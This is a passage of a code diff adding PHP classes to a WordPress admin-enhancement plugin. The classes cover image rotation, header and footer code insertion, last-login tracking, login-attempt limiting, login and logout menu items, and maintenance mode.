$this->orientation_fixed[$file] = true;
return false;
case 2:
$flipper = array(false, true);
break;
case 3:
$orientation = -180;
$rotator = true;
break;
case 4:
$flipper = array(true, false);
break;
case 5:
$orientation = -90;
$rotator = true;
$flipper = array(false, true);
break;
case 6:
$orientation = -90;
$rotator = true;
break;
case 7:
$orientation = -270;
$rotator = true;
$flipper = array(false, true);
break;
case 8:
case 9:
$orientation = -270;
$rotator = true;
break;
default:
$orientation = 0;
$rotator = true;
break;
}
return compact( 'orientation', 'rotator', 'flipper' );
}
/**
* Flips and rotates the image based on the parameters provided.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L299
*
* @access private
*
* @param string $file Path of the file.
*
* @param array $operations {
* Array of operations to be performed on the image.
*
* @type bool $rotator Whether to rotate the image or not.
* @type int $orientation Amount of rotation to be performed in degrees.
* @type array|bool $flipper {
* Whether to flip the image or not, false if no flipping needed.
*
* @type bool $0 Flip along Horizontal Axis.
* @type bool $1 Flip along Vertical Axis.
* }
* }
*
* @return bool Returns true if operations were successful, false otherwise.
*/
private function do_flip_and_rotate( $file, $operations ) {
$editor = wp_get_image_editor( $file );
// If GD Library is being used, then we need to store metadata to restore later.
if ( 'WP_Image_Editor_GD' === get_class( $editor ) ) {
include_once ABSPATH . 'wp-admin/includes/image.php';
$this->previous_meta[$file] = wp_read_image_metadata( $file );
}
if ( !is_wp_error( $editor ) ) {
// Lets rotate and flip the image based on exif orientation.
if ( true === $operations['rotator'] ) {
$editor->rotate( $operations['orientation'] );
}
if ( false !== $operations['flipper'] ) {
$editor->flip( $operations['flipper'][0], $operations['flipper'][1] );
}
$editor->save( $file );
$this->orientation_fixed[$file] = true;
add_filter(
'wp_read_image_metadata',
array($this, 'restore_meta_data'),
10,
2
);
return true;
}
return false;
}
/**
* Restores the meta data of the image after being processed.
*
* WordPress' Imagick Library does not need this, but GD library
* removes metadata from the image upon rotation or flip so this
* method restores those values.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L341
*
* @hook wp_read_image_metadata
*
* @param array $meta Image meta data.
* @param string $file Path to image file.
*
* @return array Image meta data.
*/
public function restore_meta_data( $meta, $file ) {
if ( isset( $this->previous_meta[$file] ) ) {
$meta = $this->previous_meta[$file];
// Setting the Orientation meta to the new value after fixing the rotation.
$meta['orientation'] = 1;
return $meta;
}
return $meta;
}
}
@@ -0,0 +1,91 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Insert <head>, <body> and <footer> code module
*
* @since 6.9.5
*/
class Insert_Head_Body_Footer_Code {
/**
* Insert code before </head> tag
*
* @since 3.3.0
*/
public function insert_head_code() {
$this->insert_code( 'head' );
}
/**
* Insert code after <body> tag
*
* @since 3.3.0
*/
public function insert_body_code() {
$this->insert_code( 'body' );
}
/**
* Insert code in footer section before </body> tag
*
* @since 3.3.0
*/
public function insert_footer_code() {
$this->insert_code( 'footer' );
}
/**
* Insert code
*
* @since 3.3.0
*/
public function insert_code( $location ) {
// Do not insert code in admin, feed, robots or trackbacks
if ( is_admin() || is_feed() || is_robots() || is_trackback() ) {
return;
}
// Get option that stores the code
$options = get_option( ASENHA_SLUG_U, array() );
if ( 'head' == $location ) {
$code = array_key_exists( 'head_code', $options ) ? $options['head_code'] : '';
}
if ( 'body' == $location ) {
$code = array_key_exists( 'body_code', $options ) ? $options['body_code'] : '';
}
if ( 'footer' == $location ) {
$code = array_key_exists( 'footer_code', $options ) ? $options['footer_code'] : '';
}
$disable_code_unslash = array_key_exists( 'disable_code_unslash', $options ) ? $options['disable_code_unslash'] : false;
// [TODO] Properly escape code
if ( $disable_code_unslash ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo $code . PHP_EOL;
} else {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo wp_unslash( $code ) . PHP_EOL;
}
}
}
@@ -0,0 +1,76 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Last Login Column module
*
* @since 6.9.5
*/
class Last_Login_Column {
/**
* Log date time when a user last logged in successfully
*
* @since 3.6.0
*/
public function log_login_datetime( $user_login ) {
$user = get_user_by( 'login', $user_login );
// by username
if ( is_object( $user ) ) {
if ( property_exists( $user, 'ID' ) ) {
update_user_meta( $user->ID, 'asenha_last_login_on', time() );
}
}
}
/**
* Add Last Login column to users list table
*
* @since 3.6.0
*/
public function add_last_login_column( $columns ) {
$columns['asenha_last_login'] = __( 'Last Login', 'admin-site-enhancements' );
return $columns;
}
/**
* Show last login info in the last login column
*
* @since 3.6.0
*/
public function show_last_login_info( $output, $column_name, $user_id ) {
if ( 'asenha_last_login' === $column_name ) {
if ( !empty( get_user_meta( $user_id, 'asenha_last_login_on', true ) ) ) {
$last_login_unixtime = (int) get_user_meta( $user_id, 'asenha_last_login_on', true );
$date_format = get_option( 'date_format' );
$time_format = get_option( 'time_format' );
if ( function_exists( 'wp_date' ) ) {
// $output = wp_date( 'M j, Y H:i', $last_login_unixtime );
$output = wp_date( $date_format . ' ' . $time_format, $last_login_unixtime );
} else {
// $output = date_i18n( 'M j, Y H:i', $last_login_unixtime );
$output = date_i18n( $date_format . ' ' . $time_format, $last_login_unixtime );
}
} else {
$output = __( 'Never', 'admin-site-enhancements' );
}
}
return $output;
}
/**
* Add custom CSS for the Last Login column
*
* @since 3.6.0
*/
public function add_column_style() {
?>
<style>
.column-asenha_last_login {
width: 124px;
}
</style>
<?php
}
}
@@ -0,0 +1,579 @@
<?php
namespace ASENHA\Classes;
use WP_Error;
/**
* Class for Limit Login Attempts module
*
* @since 6.9.5
*/
class Limit_Login_Attempts {
/**
* Maybe allow login if not locked out. Should return WP_Error object if not allowed to login.
*
* @since 2.5.0
*/
public function maybe_allow_login( $user_or_error, $username, $password ) {
global $wpdb, $asenha_limit_login;
$table_name = $wpdb->prefix . 'asenha_failed_logins';
// Maybe create table if it does not exist yet, e.g. upgraded from previous version of plugin, so, no activation methods are fired
$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );
if ( $wpdb->get_var( $query ) === $table_name ) {
// Table already exists, do nothing.
} else {
$activation = new Activation;
$activation->create_failed_logins_log_table();
}
// Get values from options needed to do various checks
$options = get_option( ASENHA_SLUG_U, array() );
$login_fails_allowed = $options['login_fails_allowed'];
$login_lockout_maxcount = $options['login_lockout_maxcount'];
$ip_address_whitelist_raw = ( isset( $options['limit_login_attempts_ip_whitelist'] ) ) ? explode( PHP_EOL, $options['limit_login_attempts_ip_whitelist'] ) : array();
$ip_address_whitelist = array();
if ( ! empty( $ip_address_whitelist_raw ) ) {
foreach( $ip_address_whitelist_raw as $ip_address ) {
$ip_address_whitelist[] = trim( $ip_address );
}
}
$change_login_url = $options['change_login_url'];
$custom_login_slug = $options['custom_login_slug'];
// Instantiate object to access common methods
$common_methods = new Common_Methods;
// Get user/visitor IP address
$ip_address = $common_methods->get_user_ip_address( 'ip', 'limit-login-attempts' );
if ( ! in_array( $ip_address, $ip_address_whitelist ) ) { // IP is not whitelisted
// Check if IP address has failed login attempts recorded in the DB log
$sql = $wpdb->prepare("SELECT * FROM `" . $table_name . "` Where `ip_address` = %s", $ip_address);
$result = $wpdb->get_results( $sql, ARRAY_A );
$result_count = count( $result );
if ( $result_count > 0 ) { // IP address has been recorded in the database.
$fail_count = $result[0]['fail_count'];
$lockout_count = $result[0]['lockout_count'];
$last_fail_on = $result[0]['unixtime'];
} else {
$fail_count = 0;
$lockout_count = 0;
$last_fail_on = '';
}
} else { // IP is whitelisted
$result = array();
$result_count = 0;
$fail_count = 0;
$lockout_count = 0;
$last_fail_on = '';
}
// Initialize the global variable
$asenha_limit_login = array (
'ip_address' => $ip_address,
'request_uri' => sanitize_text_field( $_SERVER['REQUEST_URI'] ),
'ip_address_log' => $result,
'fail_count' => $fail_count,
'lockout_count' => $lockout_count,
'maybe_lockout' => false,
'extended_lockout' => false,
'within_lockout_period' => false,
'lockout_period' => 0,
'lockout_period_remaining' => 0,
'login_fails_allowed' => $login_fails_allowed,
'login_lockout_maxcount' => $login_lockout_maxcount,
// 'default_lockout_period' => 15, // 15 seconds. FOR TESTING.
// 'default_lockout_period' => 60, // 1 minutes in seconds
'default_lockout_period' => 60*15, // 15 minutes in seconds
// 'extended_lockout_period' => 3*60, // 3 minutes in seconds
'extended_lockout_period' => 24*60*60, // 24 hours in seconds
'change_login_url' => $change_login_url, // is custom login URL enabled?
'custom_login_slug' => $custom_login_slug,
);
if ( ! in_array( $ip_address, $ip_address_whitelist ) ) { // IP is not whitelisted
if ( $result_count > 0 ) { // IP address has been recorded in the database.
// Failed attempts have been recorded and fulfills lockout condition
if ( ! empty( $fail_count ) && ( ( $fail_count ) % $login_fails_allowed == 0 ) ) {
$asenha_limit_login['maybe_lockout'] = true;
// Has reached max / gone beyond number of lockouts allowed?
if ( $lockout_count >= $login_lockout_maxcount ) {
$asenha_limit_login['extended_lockout'] = true;
$lockout_period = $asenha_limit_login['extended_lockout_period'];
} else {
$asenha_limit_login['extended_lockout'] = false;
$lockout_period = $asenha_limit_login['default_lockout_period'];
}
$asenha_limit_login['lockout_period'] = $lockout_period;
// User/visitor is still within the lockout period
if ( ( time() - $last_fail_on ) <= $asenha_limit_login['lockout_period'] ) {
$asenha_limit_login['within_lockout_period'] = true;
$asenha_limit_login['lockout_period_remaining'] = $asenha_limit_login['lockout_period'] - ( time() - $last_fail_on );
if ( $asenha_limit_login['lockout_period_remaining'] <= 60 ) {
// Get remaining lockout period in minutes and seconds
$lockout_period_remaining = $asenha_limit_login['lockout_period_remaining'] . ' seconds';
} elseif ( $asenha_limit_login['lockout_period_remaining'] <= 60*60 ) {
// Get remaining lockout period in minutes and seconds
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-minutes-seconds' );
} elseif ( $asenha_limit_login['lockout_period_remaining'] > 60*60 && $asenha_limit_login['lockout_period_remaining'] <= 24*60*60 ) {
// Get remaining lockout period in minutes and seconds
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-hours-minutes-seconds' );
} elseif ( $asenha_limit_login['lockout_period_remaining'] > 24*60*60 ) {
// Get remaining lockout period in minutes and seconds
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-days-hours-minutes-seconds' );
}
$error = new WP_Error( 'ip_address_blocked', '<b>WARNING:</b> You\'ve been locked out. You can login again in ' . $lockout_period_remaining . '.' );
return $error;
} else { // User/visitor is no longer within the lockout period
$asenha_limit_login['within_lockout_period'] = false;
if ( $lockout_count == $login_lockout_maxcount ) {
// Remove the DB log entry for the current IP address. i.e. release from extended lockout
$where = array( 'ip_address' => $ip_address );
$where_format = array( '%s' );
// Delete existing data in the database
$wpdb->delete(
$table_name,
$where,
$where_format
);
}
return $user_or_error;
}
} else {
$asenha_limit_login['maybe_lockout'] = false;
return $user_or_error;
}
} else { // IP address has not been recorded in the database.
return $user_or_error;
}
} else { // IP is whitelisted
return $user_or_error;
}
}
/**
* Handle login errors
*
* @link https://developer.wordpress.org/reference/classes/wp_error/#methods
* @since 2.5.0
*/
public function login_error_handler( $errors, $redirect_to ) {
global $asenha_limit_login;
if ( is_wp_error( $errors ) ) {
$error_codes = $errors->get_error_codes();
foreach ( $error_codes as $error_code ) {
if ( $error_code == 'invalid_username' || $error_code == 'incorrect_password' ) {
// Remove default error messages that may give out valueable info to hackers
$errors->remove( 'invalid_username' ); // Outputs info that says username does not exist. May encourage login attempt with a different username instead.
$errors->remove( 'incorrect_password' ); // Outputs info that implies username exist. May encourage login attempt with a different password.
// Add a new error message that does not provide useful clues to hackers
$errors->add( 'invalid_username_or_incorrect_password', '<b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) );
// $errors->add( 'another_error_code', 'The error message.' );
}
}
}
return $errors;
}
/**
* Disable login form inputs via CSS
*
* @since 2.5.0
*/
public function maybe_hide_login_form() {
global $asenha_limit_login;
if ( isset( $asenha_limit_login['within_lockout_period'] ) && $asenha_limit_login['within_lockout_period'] ) {
// Hide logo, login form and the links below it
?>
<script>
document.addEventListener("DOMContentLoaded", function(event) {
var loginForm = document.getElementById("loginform");
loginForm.remove();
});
</script>
<style type="text/css">
body.login {
background:#f6d6d7;
}
#login h1,
#loginform,
#login #nav,
#backtoblog,
.language-switcher {
display: none;
}
@media screen and (max-height: 550px) {
#login {
padding: 80px 0 20px !important;
}
}
</style>
<?php
} else {
$options = get_option( ASENHA_SLUG_U, array() );
$login_fails_allowed = $options['login_fails_allowed'];
$page_was_reloaded = isset( $_GET['rl'] ) && 1 == sanitize_text_field( $_GET['rl'] ) ? true : false;
if ( isset( $asenha_limit_login['fail_count'] )
&& ( ( $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|| ( 2 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|| ( 3 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|| ( 4 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|| ( 5 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|| ( 6 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
)
) {
if ( array_key_exists( 'change_login_url', $options ) && $options['change_login_url'] ) {
// Custom Login URL is enabled, e.g. /manage
// Do nothing
} else {
// Default login URL, i.e. /wp-login.php
// Reload the login page so we get the up-to-date data in $asenha_limit_login
// Only reload if page was not reloaded before. This prevents infinite reloads.
if ( ! $page_was_reloaded ) {
?>
<script>
let url = window.location.href;
if (url.indexOf('?') > -1){
url += '&rl=1'
} else {
url += '?rl=1'
}
location.replace(url);
</script>
<?php
}
}
}
}
}
/**
* Add login error message on top of the login form
*
* @since 2.5.0
*/
public function add_failed_login_message( $message ) {
global $asenha_limit_login;
if ( isset( $_REQUEST['failed_login'] ) && $_REQUEST['failed_login'] == 'true' ) {
if ( ! is_null( $asenha_limit_login ) && isset( $asenha_limit_login['within_lockout_period'] ) && ! $asenha_limit_login['within_lockout_period'] ) {
$message = '<div id="login_error" class="notice notice-error"><b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) . '</div>';
}
}
return $message;
}
/**
* Log failed login attempts
*
* @since 2.5.0
*/
public function log_failed_login( $username ) {
global $wpdb, $asenha_limit_login;
$table_name = $wpdb->prefix . 'asenha_failed_logins';
$ip_address = isset( $asenha_limit_login['ip_address'] ) ? $asenha_limit_login['ip_address'] : '';
$request_uri = isset( $asenha_limit_login['request_uri'] ) ? $asenha_limit_login['request_uri'] : '';
$login_fails_allowed = isset( $asenha_limit_login['login_fails_allowed'] ) ? $asenha_limit_login['login_fails_allowed'] : 3;
$login_lockout_maxcount = isset( $asenha_limit_login['login_lockout_maxcount'] ) ? $asenha_limit_login['login_lockout_maxcount'] : 3;
// Check if the IP address has been used in a failed login attempt before, i.e. has it been recorded in the database?
$sql = $wpdb->prepare( "SELECT * FROM `" . $table_name . "` WHERE `ip_address` = %s", $ip_address );
$result = $wpdb->get_results( $sql, ARRAY_A );
if ( $result ) {
$result_count = count( $result );
} else {
$result_count = 0;
}
// Update logged info for the IP address in the global variable
if ( $result ) {
$asenha_limit_login['ip_address_log'] = $result;
}
if ( $result_count == 0 ) { // IP address has not been recorded in the database.
$new_fail_count = 1;
$new_lockout_count = 0;
} else { // IP address has been recorded in the database.
$new_fail_count = $result[0]['fail_count'] + 1;
$new_lockout_count = floor( ( $result[0]['fail_count'] + 1 ) / $login_fails_allowed );
}
// Get the URL where login failed, i.e. where brute force attack might be happening
// $login_url = ( ! empty( $_SERVER['HTTPS'] ) ? 'https://' : 'http://') . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
// Time stamps
$unixtime = time();
if ( function_exists( 'wp_date' ) ) {
$datetime_wp = wp_date( 'Y-m-d H:i:s', $unixtime );
} else {
$datetime_wp = date_i18n( 'Y-m-d H:i:s', $unixtime );
}
$data = array(
'ip_address' => $ip_address,
'username' => $username,
'fail_count' => $new_fail_count,
'lockout_count' => $new_lockout_count,
'request_uri' => $request_uri,
'unixtime' => $unixtime,
'datetime_wp' => $datetime_wp,
'info' => '',
);
$data_format = array(
'%s', // string
'%s', // string
'%d', // integer
'%d', // integer
'%s', // string
'%d', // integer
'%s', // string
'%s', // string
);
if ( $result_count == 0 ) {
// Insert into the database
$result = $wpdb->insert(
$table_name,
$data,
$data_format
);
} else {
$fail_count = $result[0]['fail_count'];
$lockout_count = $result[0]['lockout_count'];
$last_fail_on = $result[0]['unixtime'];
$where = array( 'ip_address' => $ip_address );
$where_format = array( '%s' );
// Failed attempts have been recorded and fulfills lockout condition
if ( ! empty( $fail_count )
&& ( $login_fails_allowed > 0 )
&& ( $fail_count % $login_fails_allowed == 0 )
) {
// Has reached max / gone beyond number of lockouts allowed?
if ( $lockout_count >= $login_lockout_maxcount ) {
$asenha_limit_login['extended_lockout'] = true;
$lockout_period = $asenha_limit_login['extended_lockout_period'];
} else {
$asenha_limit_login['extended_lockout'] = false;
$lockout_period = $asenha_limit_login['default_lockout_period'];
}
$asenha_limit_login['lockout_period'] = $lockout_period;
// User/visitor is still within the lockout period
if ( ( time() - $last_fail_on ) <= $lockout_period ) {
// Do nothing
} else {
if ( $lockout_count < $login_lockout_maxcount ) {
// Update existing data in the database
$wpdb->update(
$table_name,
$data,
$where,
$data_format,
$where_format
);
}
}
} else {
// Update existing data in the database
$wpdb->update(
$table_name,
$data,
$where,
$data_format,
$where_format
);
}
}
}
/**
* Clear failed login attempts log after successful login
*
* @since 2.5.0
*/
public function clear_failed_login_log() {
global $wpdb, $asenha_limit_login;
$table_name = $wpdb->prefix . 'asenha_failed_logins';
$ip_address = isset( $asenha_limit_login['ip_address'] ) ? $asenha_limit_login['ip_address'] : '';
// Remove the DB log entry for the current IP address.
$where = array( 'ip_address' => $ip_address );
$where_format = array( '%s' );
$wpdb->delete(
$table_name,
$where,
$where_format
);
}
/**
* Trigger scheduling of failed login attempts log clean up event.
*
* @since 7.1.1
*/
public function trigger_clear_or_schedule_log_clean_up_by_amount( $option_name ) {
if ( ASENHA_SLUG_U === $option_name ) {
$this->clear_or_schedule_log_clean_up_by_amount();
}
}
/**
* Schedule failed login attempts log clean up event
*
* @link https://plugins.trac.wordpress.org/browser/lana-email-logger/tags/1.1.0/lana-email-logger.php#L750
* @since 7.8.3
*/
public function clear_or_schedule_log_clean_up_by_amount() {
$options = get_option( ASENHA_SLUG_U, array() );
$limit_login_attempts = isset( $options['limit_login_attempts'] ) ? $options['limit_login_attempts'] : false;
$failed_login_attempts_log_schedule_cleanup_by_amount = isset( $options['failed_login_attempts_log_schedule_cleanup_by_amount'] ) ? $options['failed_login_attempts_log_schedule_cleanup_by_amount'] : false;
// If module or scheduled clean up is not enabled, clear the schedule.
if ( ! $limit_login_attempts || ! $failed_login_attempts_log_schedule_cleanup_by_amount ) {
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
return;
}
// If there's no next scheduled clean up event, let's schedule one
if ( ! wp_next_scheduled( 'asenha_failed_login_attempts_log_cleanup_by_amount' ) ) {
wp_schedule_event( time(), 'hourly', 'asenha_failed_login_attempts_log_cleanup_by_amount' );
}
}
/**
* Perform clean up of failed login attempts log by the amount of entries to keep
*
* @link https://plugins.trac.wordpress.org/browser/lana-email-logger/tags/1.1.0/lana-email-logger.php#L768
* @since 7.8.3
*/
public function perform_failed_login_attempts_log_clean_up_by_amount() {
global $wpdb;
$options = get_option( ASENHA_SLUG_U, array() );
$limit_login_attempts = isset( $options['limit_login_attempts'] ) ? $options['limit_login_attempts'] : false;
$failed_login_attempts_log_schedule_cleanup_by_amount = isset( $options['failed_login_attempts_log_schedule_cleanup_by_amount'] ) ? $options['failed_login_attempts_log_schedule_cleanup_by_amount'] : false;
$failed_login_attempts_log_entries_amount_to_keep = 1000;
// Bail and clear any orphan schedule if clean up should not run.
if ( ! $limit_login_attempts || ! $failed_login_attempts_log_schedule_cleanup_by_amount ) {
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
return;
}
$table_name = $wpdb->prefix . 'asenha_failed_logins';
// Maybe create table if it does not exist yet, e.g. module enabled but no login attempt yet.
$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );
if ( $wpdb->get_var( $query ) === $table_name ) {
// Table already exists, do nothing.
} else {
$activation = new Activation;
$activation->create_failed_logins_log_table();
}
$wpdb->query( "DELETE failed_login_entries FROM " . $table_name . "
AS failed_login_entries JOIN ( SELECT id FROM " . $table_name . " ORDER BY id DESC LIMIT 1 OFFSET " . $failed_login_attempts_log_entries_amount_to_keep . " )
AS failed_login_entries_limit ON failed_login_entries.id <= failed_login_entries_limit.id;" );
}
}
@@ -0,0 +1,80 @@
<?php
namespace ASENHA\Classes;
use WP_Error;
/**
* Class for Login ID Type module
*
* @since 6.9.5
*/
class Login_ID_Type {
/**
* Change default label on login form
*
* @param array $defaults an array of default login form arguments
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
* @since 6.8.0
*/
public function change_login_form_defaults( $defaults ) {
$defaults['label_username'] = __( 'Username', 'admin-site-enhancements' );
return $defaults;
}
/**
* Filter for gettext.
*
* @param string $translation Translated text.
* @param string $text Text to translate.
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
* @since 6.8.0
*/
public function gettext_login_id_username( $translation, $text, $domain ) {
global $pagenow;
if ( 'wp-login.php' === $pagenow ) {
if ( 'default' === $domain && 'Username or Email Address' === $text ) {
$translation = __( 'Username', 'admin-site-enhancements' );
}
}
return $translation;
}
/**
* Filter for authenticate.
*
* @param WP_User|Mixed $user user object if authenticated.
* @param String $username username.
* @return WP_User|Mixed authenticated user or error.
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
* @since 6.8.0
*/
public function authenticate_email( $user, $username ) {
if ( null !== $user && ! is_wp_error( $user ) && strtolower( $user->user_email ) !== strtolower( $username ) ) {
$user = new WP_Error( 'invalid_username', __( '<strong>Error:</strong> Invalid email or incorrect password.', 'admin-site-enhancements' ) );
}
return $user;
}
/**
* Filter for gettext.
*
* @param string $translation Translated text.
* @param string $text Text to translate.
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
* @return WP_User|Mixed authenticated user or error.
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
*/
public function gettext_login_id_email( $translation, $text, $domain ) {
global $pagenow;
if ( 'wp-login.php' === $pagenow ) {
if ( 'default' === $domain && 'Username or Email Address' === $text ) {
$translation = __( 'Email', 'admin-site-enhancements' );
}
}
return $translation;
}
}
@@ -0,0 +1,160 @@
<?php
namespace ASENHA\Classes;
use Walker_Nav_Menu_Checklist;
/**
* Class for Login Logout Menu module
*
* @since 6.9.5
*/
class Login_Logout_Menu {
/**
* Add metabox to Appearance >> Menus page for the login logout menu items
*
* @since 3.4.0
*/
public function add_login_logout_metabox() {
add_meta_box(
'add-login-logout',
__( 'Log In / Log Out', 'admin-site-enhancements' ),
array($this, 'add_login_logout_menu_items'),
'nav-menus',
'side',
'default'
);
}
/**
* Add menu items for the login logout metabox
*
* @since 3.4.0
*/
public function add_login_logout_menu_items() {
// The ID of the currently selected menu
global $nav_menu_selected_id;
$menu_items = array(
'asenha-login' => array(
'title' => __( 'Log In', 'admin-site-enhancements' ),
'url' => '#asenha-login',
'classes' => array('asenha-login-menu-item'),
),
'asenha-logout' => array(
'title' => __( 'Log Out', 'admin-site-enhancements' ),
'url' => '#asenha-logout',
'classes' => array('asenha-logout-menu-item'),
),
'asenha-login-logout' => array(
'title' => __( 'Log In / Log Out', 'admin-site-enhancements' ),
'url' => '#asenha-login-logout',
'classes' => array('asenha-login-logout-menu-item'),
),
);
$item_details = array(
'db_id' => 0,
'object' => 'asenha',
'object_id' => '',
'menu_item_parent' => 0,
'type' => 'custom',
'title' => '',
'url' => '',
'target' => '',
'attr_title' => '',
'classes' => array(),
'xfn' => '',
);
$menu_items_object = array();
foreach ( $menu_items as $item_id => $details ) {
$menu_items_object[$details['title']] = (object) $item_details;
$menu_items_object[$details['title']]->object_id = $item_id;
$menu_items_object[$details['title']]->title = $details['title'];
$menu_items_object[$details['title']]->classes = $details['classes'];
$menu_items_object[$details['title']]->url = $details['url'];
}
$walker = new Walker_Nav_Menu_Checklist(array());
?>
<div id="login-logout-links" class="loginlinksdiv">
<div id="tabs-panel-login-logout-links-all" class="tabs-panel tabs-panel-view-all tabs-panel-active">
<ul id="login-logout-links-checklist" class="list:login-logout-links categorychecklist form-no-clear">
<?php
echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $menu_items_object ), 0, (object) array(
'walker' => $walker,
) );
?>
</ul>
</div>
<p class="button-controls">
<span class="add-to-menu">
<input type="submit"<?php
disabled( $nav_menu_selected_id, 0 );
?> class="button-secondary submit-add-to-menu right" value="<?php
echo esc_attr( __( 'Add to Menu', 'admin-site-enhancements' ) );
?>" name="add-login-logout-links-menu-item" id="submit-login-logout-links" />
<span class="spinner"></span>
</span>
</p>
</div>
<?php
}
/**
* Setup login logout URL based on login state
*
* @since 3.4.0
*/
public function set_login_logout_menu_item_dynamic_url( $menu_item ) {
global $pagenow;
$options = get_option( ASENHA_SLUG_U, array() );
if ( $pagenow != 'nav-menus.php' && !defined( 'DOING_AJAX' ) && isset( $menu_item->url ) && false !== strpos( $menu_item->url, 'asenha' ) ) {
// Define login URL based on whether
if ( array_key_exists( 'change_login_url', $options ) && $options['change_login_url'] ) {
if ( array_key_exists( 'custom_login_slug', $options ) && !empty( $options['custom_login_slug'] ) ) {
$login_page_url = get_site_url() . '/' . $options['custom_login_slug'];
}
} else {
$login_page_url = wp_login_url();
}
$logout_redirect_url = home_url();
switch ( $menu_item->url ) {
case '#asenha-login':
$menu_item->url = $login_page_url;
break;
case '#asenha-logout':
$menu_item->url = wp_logout_url();
break;
case '#asenha-login-logout':
$login_text = __( 'Log In', 'admin-site-enhancements' );
$logout_text = __( 'Log Out', 'admin-site-enhancements' );
$menu_item->url = ( is_user_logged_in() ? wp_logout_url() : $login_page_url );
$menu_item->title = ( is_user_logged_in() ? $logout_text : $login_text );
break;
}
}
return $menu_item;
}
/**
* Conditionally remove login or logout menu item based on is_user_logged_in()
*
* @since 3.4.0
*/
public function maybe_remove_login_or_logout_menu_item( $sorted_menu_items ) {
foreach ( $sorted_menu_items as $menu => $item ) {
$item_classes = $item->classes;
// Maybe remove Log In menu item
if ( in_array( 'asenha-login-menu-item', $item_classes ) ) {
if ( is_user_logged_in() ) {
unset($sorted_menu_items[$menu]);
}
}
// Maybe remove Log Out menu item
if ( in_array( 'asenha-logout-menu-item', $item_classes ) ) {
if ( !is_user_logged_in() ) {
unset($sorted_menu_items[$menu]);
}
}
}
return $sorted_menu_items;
}
}
@@ -0,0 +1,258 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Maintenance Mode module
*
* @since 6.9.5
*/
class Maintenance_Mode {
/**
* Backfill bypass key on load when maintenance mode is enabled.
*
* Deferred to plugins_loaded so wp_hash_password() is available.
*
* @since 8.5.2
*/
public static function ensure_bypass_key_on_load() {
$options = get_option( ASENHA_SLUG_U, array() );
if ( empty( $options['maintenance_mode'] ) ) {
return;
}
self::ensure_bypass_key( $options );
}
/**
* Ensure a bypass key exists when maintenance mode is enabled.
*
* Generates and persists the key once for upgrade sites that have maintenance
* mode on but have not re-saved ASE settings after the performance fix.
*
* @since 8.5.2
* @param array $options Plugin options.
* @return array Updated plugin options.
*/
public static function ensure_bypass_key( $options ) {
if ( !function_exists( 'wp_hash_password' ) ) {
return $options;
}
if ( !empty( $options['maintenance_mode_bypass_key'] ) ) {
return $options;
}
$options['maintenance_mode_bypass_key'] = \wp_hash_password( site_url() );
update_option( ASENHA_SLUG_U, $options );
return $options;
}
/**
* Get the stored maintenance mode bypass key.
*
* @since 8.5.2
* @param array $options Plugin options.
* @return string Stored bypass key.
*/
private function get_bypass_key( $options ) {
return ( isset( $options['maintenance_mode_bypass_key'] ) ? $options['maintenance_mode_bypass_key'] : '' );
}
/**
* Validate a bypass URL parameter against the site URL.
*
* @since 8.5.2
* @param string $bypass_param Value of the bypass query parameter.
* @return bool Whether the bypass parameter is valid.
*/
private function is_bypass_request_valid( $bypass_param ) {
if ( empty( $bypass_param ) ) {
return false;
}
return \wp_check_password( site_url(), $bypass_param );
}
/**
* Redirect for when maintenance mode is enabled
*
* @since 4.7.0
*/
public function maintenance_mode_redirect( $wp ) {
if ( is_admin() ) {
return;
}
if ( is_login() ) {
return;
}
if ( $this->is_user_allowed_frontend_access() ) {
return;
}
$options = get_option( ASENHA_SLUG_U, array() );
if ( isset( $_GET['bypass'] ) && $this->is_bypass_request_valid( sanitize_text_field( $_GET['bypass'] ) ) ) {
// Load the page normally, e.g. when using an existing page as a maintenance page.
return;
}
$maintenance_page_type = 'custom';
// ======== Customizable maintenance page ========
if ( 'custom' == $maintenance_page_type ) {
header( 'HTTP/1.1 503 Service Unavailable', true, 503 );
header( 'Status: 503 Service Unavailable' );
header( 'Retry-After: 3600' );
// Tell search engine bots to return after 3600 seconds, i.e. 1 hour
$heading = $options['maintenance_page_heading'];
